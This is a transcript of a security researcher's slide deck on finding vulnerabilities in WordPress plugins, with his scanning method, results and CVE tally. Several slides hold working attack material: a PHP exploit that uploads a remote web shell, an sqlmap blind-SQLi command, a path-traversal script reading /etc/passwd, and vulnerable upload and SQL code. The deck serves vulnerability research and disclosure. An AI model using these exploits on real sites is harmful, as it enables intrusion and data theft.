hacking wordpress plugins

Post on 11-Jan-2017

449 Views

Category:

Software

3 Downloads

Preview:

Click to see full reader

TRANSCRIPT

Hacking WordPress PluginsLarry W. Cashdollar

8/1/2015v1.2

What is WordPress

• Content Management System (CMS)• 23% of all websites (3/23/15)• Plugins - add functionality• Plugins may be authored by anyone

Why hack WordPress plugins?

• #1 CMS by number and percentage• Poor security model• Lack of QA on 3rd party plugins• More fun than Ruby Gems

Methodology

• Large code footprint with plugins and themes• Prefer no authentication required to exploit*• Look for PHP code that might be exploitable• Search specific traits or patterns:

– upload.php – download.php– proxy.php

Requirements

• Processes user input• Has reachable code, not just defining a class• Doesn’t check if accessed directly• Doesn’t require authentication• Doesn’t require WP API hooks*

Vulnerabilities

• LFI• RFI• RCE• Open Proxies• SQL Injection• XSS

Plugin Code Criteria

• Doesn’t have POST/GET/FILE/REQUEST PUNT• If (!defined(ABSPATH)) die; PUNT• If (!is_admin) die; PUNT• Function class() {}; PUNT• May have Injectable SELECT, INSERT, DELETE,

UPDATE, etc.

A Quick Look

• Download a few random plugins• Examine files named upload.php or

download.php• Found RFI in videowhisper-video-presentation• The code:

1 <?php 2 3 if ($_GET["room"]) $room=$_GET["room"]; 4 if ($_POST["room"]) $room=$_POST["room"]; 5 $filename=$_FILES['vw_file']['name']; 6 7 include_once("incsan.php"); 8 sanV($room); 9 if (!$room) exit; 10 sanV($filename); 11 if (!$filename) exit; 12 13 if (strstr($filename,'.php')) exit; 14 15 //do not allow uploads to other folders 16 if ( strstr($room,"/") || strstr($room,"..") ) exit; 17 if ( strstr($filename,"/") || strstr($filename,"..") ) exit; 18 19 $destination="uploads/".$room."/"; 20 if ($_GET["slides"]) $destination .= "slides/"; 21 22 $ext=strtolower(substr($filename,-4)); 23 $allowed=array(".swf",".zip",".rar",".jpg","jpeg",".png",".gif",".txt",".doc","docx",".htm","html",".pdf",".mp3",".flv",".avi",".mpg",".ppt",".pps "); 24 25 if (in_array($ext,$allowed)) move_uploaded_file($_FILES['vw_file']['tmp_name'], $destination . $filename); 26 ?>loadstatus=1

Exploiting it

• Upload .phtml .shtml • Execute as www-data user• Previously patched (I circumvented)*• Also present in videowhisper-video-

conference-integration

* Annoying but still fun

Initial Progress

• Downloaded 10 random plugins• Found RFI in two of them!• Plugins had ~ 5k downloads

• Must be more vulnerabilities out there

Automate?

• Download lots of plugins• grep code for specific patterns?• Same idea as Ruby Gem research I did• Easy to test with PoC• More fun!

• Maybe write code to flag high risk code?

Code Ferret v1.0 Feature Doc

• Supply list of .php files to examine• Check for user input• Ignore if author checks for ABSPATH etc..• Look for SQL functions• Flag if use of WP API• Flag if include files

Code Ferret v1.0 Design Doc

• Look for specific functions and strings• Anything of interest added to link list• Link list stores line number and reason for flag• Dump output & statistics • ANSI COLOR!

Semi Automatic

• git pull https://plugins.svn.wordpress.org • Scraped Plugins off wordpress.org• Downloaded 36,000 plugins• About 20 GB of data• upload.php or download.php• Use Ferret v1.0 to quickly examine lots of files• Profit! Err get some CVEs

Ferret output

Ferret First Run

• wp-powerplaygallery v3.3 • Flagged for user input with no access controls• Accesses WordPress API calls• Loads WordPress functions via require_once()• Code examination turns up RFI and Blind SQLi!

wp-powerplaygallery RFI Code143: if (!empty($_FILES)) {144: if ($_FILES["file"]["error"] || !is_uploaded_file($_FILES["file"]["tmp_name"])) {145: die('{"jsonrpc" : "2.0", "error" : {"code": 103, "message": "Failed to move uploaded file."} , "id" : "id"}');146: }147: 148: // Read binary input stream and append it to temp file149: if (!$in = @fopen($_FILES["file"]["tmp_name"], "rb")) {150: die('{"jsonrpc" : "2.0", "error" : {"code": 101, "message": "Failed to open input stream."}, "id" : "id"}');151: }. 158: while ($buff = fread($in, 4096)) {159: fwrite($out, $buff);160: }

wp-powerplaygallery SQLI code131: $query = "INSERT INTO ".$wpdb->prefix."pp_images (`category_id`, `title`, `description`, `price`, `thumb`, `image`, `status`, `order`, `creation_date` ) VALUES (".$_REQUEST['albumid'].",'".$imgname[0]."','".$imgname[0]."','','".$resize."','".$_REQUEST['name']."',1,'','NULL')";

133 : $wpdb->query($query);

RFI Exploit Requirements

• POST request• Variable albumid must point at existing album

in database• File to upload must exist locally• Use c99 shell as our payload• file variable contains payload with local full

path• name variable contains our filename

PoC Exploit• <?php• /*Remote shell upload exploit for wp-powerplaygallery v3.3 */• /*Larry W. Cashdollar @_larry0• 6/27/2015• albumid needs to be a numeric value matching an existing album number, 1 is probably a good start• but you can enumerate these by using curl, and looking for redirect 301 responses:• e.g. $ curl http://www.vapidlabs.com/wp-content/uploads/power_play/4_uploadfolder/big• ->301 exists else 404 doesn't.• shell is http://www.vapidlabs.com/wp-content/uploads/power_play/4_uploadfolder/big/shell.php• */• • • $target_url = 'http://www.vapidlabs.com/wp-content/plugins/wp-powerplaygallery/upload.php';• $file_name_with_full_path = '/var/www/shell.php';• • echo "POST to $target_url $file_name_with_full_path";• $post = array('albumid'=>’1' , 'name' => 'shell.php','file'=>'@'.$file_name_with_full_path);• • $ch = curl_init();• curl_setopt($ch, CURLOPT_URL,$target_url);• curl_setopt($ch, CURLOPT_POST,1);• curl_setopt($ch, CURLOPT_POSTFIELDS, $post);• curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);• $result=curl_exec ($ch);• curl_close ($ch);• echo "<hr>";• echo $result;• echo "<hr>";• ?>

Blind SQLi Exploit

• Sqlmap

$ sqlmap -u http://www.vapidlabs.com/wp-content/plugins/wp-powerplaygallery/upload.php --data "albumid=1” —dbms mysql –level 5 –risk 3

Lazy Exploits

• Started using php-cgi to test exploits• The script Poc.sh#!/bin/shexport GATEWAY_INTERFACE=CGI/1.1export PATH_TRANSLATED=UserSettings.phpexport QUERY_STRING=network=../../../../../../../../etc/passwdexport REDIRECT_STATUS=CGIexport REQUEST_METHOD=GETphp-cgi ./plugin/buddystream/extensions/default/templates/UserSettings.php

$ ./Poc.sh

Pitfalls of Exploitation

• Exploitable code is a class and isn’t reachable*• Code uses WordPress functions or functions

from other segments of code with no includes• Code is incomplete or just broken• Someone discovered it last year

Fatal Errors• [Thu Aug 06 07:22:58 2015] [error] [client 192.168.0.2] PHP Fatal error: Call to undefined function

trailingslashit() in /usr/share/wordpress/wp-content/plugins/ckeditor-for-wordpress/ckeditor_class.php on line 27

• [Sun Aug 02 13:55:06 2015] [error] [client 192.168.0.2] PHP Fatal error: require_once(): Failed opening required '/etc/wordpress/wp-settings.php' (include_path='.:/usr/share/php:/usr/share/pear') in /etc/wordpress/config-www.vapidlabs.com.php on line 90

• [Sun Aug 02 19:28:11 2015] [error] [client 192.168.0.2] PHP Fatal error: Call to undefined function get_option() in /usr/share/wordpress/wp-content/plugins/omni-secure-files/lib/ajax/file_upload.php on line 20

• [Sun Aug 02 19:28:24 2015] [error] [client 192.168.0.16] PHP Fatal error: Call to undefined function get_option() in /usr/share/wordpress/wp-content/plugins/omni-secure-files/lib/ajax/file_upload.php on line 20

• [Sun Aug 02 19:28:28 2015] [error] [client 192.168.0.2] PHP Fatal error: Call to undefined function get_option() in /usr/share/wordpress/wp-content/plugins/omni-secure-files/lib/ajax/file_upload.php on line 20

Vulnerable and Broken• <?php• $uploaddir = 'uploads/'; This needs to be full path• $file = $uploaddir . basename($_FILES['uploadfile']['name']);• if (move_uploaded_file($_FILES['uploadfile']['tmp_name'],

$file)) {• echo "success";• } else {• echo "error";• }• ?>

oddities

• Return local IP address of server• Prints the FULL path of the webserver server• Plugin that downloads itself ?!

Statistics• 20 CVEs• 26* Vulnerabilities found• 6 were previously discovered and not included*• All in all 32 Vulnerabilities discovered• Dozens of known exploitable vulnerabilities remain

unpatched

* I now google ‘<pluginname> vulnerability’ before bothering to document

Improvements

• Parse php scripts checking for reachable code• Use RIPS v1.0 (thanks Chad!)• Circle back and examine vulnerabilities that

require login to WP for exploitation

Questions?

• larry@akamai.com• Twitter @_larry0

Who Am I• 15 years at Akamai Technologies• Hobbyist Vulnerability Researcher• 75+ CVEs• Formerly Unix Systems Administrator 17 years • Penetration Tester Back in Late 90s• Enjoy Writing and Breaking Code

top related